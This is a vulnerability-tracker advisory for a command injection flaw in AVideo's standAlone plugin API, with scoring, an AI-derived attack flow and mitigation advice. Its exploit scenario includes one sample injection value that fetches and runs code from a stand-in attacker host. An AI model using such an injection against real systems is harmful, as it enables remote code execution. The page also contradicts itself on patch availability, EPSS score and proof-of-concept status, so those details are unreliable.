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AVideo EUVDEUVD-2026-44913

| CVE-2026-63304 CRITICAL
OS Command Injection (CWE-78)
2026-07-16 VulnCheck GHSA-jjpq-qx77-qjwj
9.2
CVSS 4.0 · Vendor: VulnCheck
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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Reach standAlone API endpoint
  2. Delivery
    Forge valid encrypted codeToExec payload
  3. Exploit
    Inject metacharacters via keyword parameter
  4. Execution
    Break out of grep single quotes
  5. Impact
    Execute OS commands as web-server user

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the attacker to craft a valid encrypted codeToExec payload accepted by AVideo's standAlone API and to reach the plugin/API/standAlone/functions.php endpoint that invokes listFFmpegProcesses(); the injection is delivered through the keyword parameter, which is placed inside single quotes without escaping. No authentication is required (CVSS PR:N), but exploitation is limited by the need to produce a cryptographically valid encrypted payload - reflected in CVSS AC:H and AT:P - which prevents trivial unauthenticated abuse and is the main factor constraining real-world exploitation. The standAlone API plugin path must be deployed and network-reachable.

Impact

The vendor-supplied CVSS 4.0 score is 9.2 (critical) with vector AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H, meaning network-reachable, unauthenticated, full confidentiality/integrity/availability impact on the vulnerable system, but explicitly high attack complexity (AC:H) and a present attack requirement (AT:P). Those AC:H/AT:P metrics are the crux: the description confirms an attacker must craft a valid encrypted codeToExec payload before the injection is reachable, so this is not a trivial spray-and-pray bug despite the network vector. No EPSS score was provided in the input, there is no CISA KEV listing, and no public proof-of-concept is referenced - the only signal of interest to threat actors is the VulnCheck advisory. Net assessment: a genuinely high-severity RCE, but the encryption/payload-crafting prerequisite meaningfully lowers real-world mass-exploitation likelihood relative to a raw 9.2, making this a patch-soon rather than drop-everything item unless AVideo is internet-exposed. EPSS is missing, so widespread-exploitation probability cannot be quantified from the provided data.

Exploit ScenarioDerived

An attacker who can generate a valid encrypted codeToExec payload sends a crafted request to AVideo's standAlone API, passing a keyword parameter containing a single quote followed by shell metacharacters (e.g. '; curl attacker/x | sh #). The injected commands break out of the grep single-quote context in listFFmpegProcesses() and execute as the web-server user, yielding remote code execution. No public proof-of-concept is referenced, and the required valid encrypted payload raises the practical bar for exploitation.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
No patch listed yet 1.4% exploitation probability (EPSS)

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AnalysisAIv1 – Jul 16, 2026

OS command injection in AVideo (WWBN) through version 29.0 lets remote attackers who can forge a valid encrypted codeToExec payload run arbitrary shell commands as the web-server user via the listFFmpegProcesses() function in the standAlone plugin API. The flaw is unauthenticated (PR:N) but non-trivial to reach because it depends on producing an accepted encrypted parameter, and no public exploit or CISA KEV listing is identified at time of analysis.

RemediationAI

Patch available per vendor advisory: consult the AVideo GitHub Security Advisory GHSA-j44m-77cc-p3cc (https://github.com/WWBN/AVideo/security/advisories/GHSA-j44m-77cc-p3cc) and upgrade to the fixed release it designates; a released patched version could not be independently confirmed from the provided data, so verify the fixed tag against the advisory before deploying. Until patched, restrict network access to the standAlone plugin API endpoints (block or firewall external requests to plugin/API/standAlone) so the codeToExec entry point is not reachable from untrusted networks, and disable the standAlone API plugin if it is not required - the trade-off is loss of the standalone/FFmpeg process-listing functionality it provides. As a hardening measure, run the web-server/PHP process under a least-privilege account so a successful injection yields minimal OS reach, and monitor for anomalous FFmpeg/grep child processes. Corroborate details against the VulnCheck advisory at https://www.vulncheck.com/advisories/avideo-through-os-command-injection-via-listffmpegprocesses.

Affected VersionsENISA

AVideo 0 ≤29.0

Affected Packages

euvd avideo no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

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Technical ContextAI · show details

AVideo is an open-source PHP video-streaming and content-management platform that shells out to FFmpeg for media processing. The vulnerable code path is plugin/API/standAlone/functions.php, where listFFmpegProcesses() builds a shell command (a grep over running FFmpeg processes) by interpolating a caller-supplied keyword directly inside a single-quoted string without escaping. This is a textbook CWE-78 (Improper Neutralization of Special Elements used in an OS Command) issue: because the keyword is placed inside single quotes but not sanitized, an attacker can supply a single quote to close the quoted context and append shell metacharacters. The affected component is identified by cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*, covering AVideo builds up to and including 29.0.

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Severity by source

Vendor (VulnCheck) PRIMARY 9.2 CRITICAL
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
vuln.today AI 8.1 HIGH

Network-reachable and unauthenticated (AV:N/PR:N) but requires forging a valid encrypted payload, so AC:H; command execution as web user gives full C/I/A impact.

3.1 AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
High
Attack Requirements
Present
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

DescriptionCVE.org

AVideo through 29.0 contains an OS command injection vulnerability in plugin/API/standAlone/functions.php where the listFFmpegProcesses() function interpolates unsanitized keyword parameters inside single quotes without escaping. Attackers who can craft a valid encrypted codeToExec payload can break out of the single-quoted grep context and execute arbitrary OS commands as the web-server user.

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Why It Matters

AVideo (WWBN) versions through 29.0 contain a critical unauthenticated remote code execution vulnerability in the standAlone plugin that allows attackers to execute arbitrary operating system commands with web server privileges. With no vendor patch available, any organization running affected versions faces immediate risk of data theft, infrastructure compromise, and service disruption. Urgent mitigation or product migration is required to prevent potential breach.

Business Impact: Severe
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Disable standAlone plugin if operationally feasible; (2) Implement network segmentation to restrict API endpoint access to trusted sources only; (3) Deploy Web Application Firewall rules to detect and block requests containing suspicious encrypted parameters targeting listFFmpegProcesses(); (4) Establish comprehensive logging and real-time alerting for all standAlone plugin API calls; (5) Plan immediate upgrade or product replacement.

Threat Intelligence Overview

EPSS Score
1.4%
Top 32% exploitable
Prevalence
Low
niche open-source self-hosted video platform, limited enterprise footprint
Social Media
1
Sightings
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 1.4%
Patch available No
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
Very High
Technical Impact
Total

Priority Score

47
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +46
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

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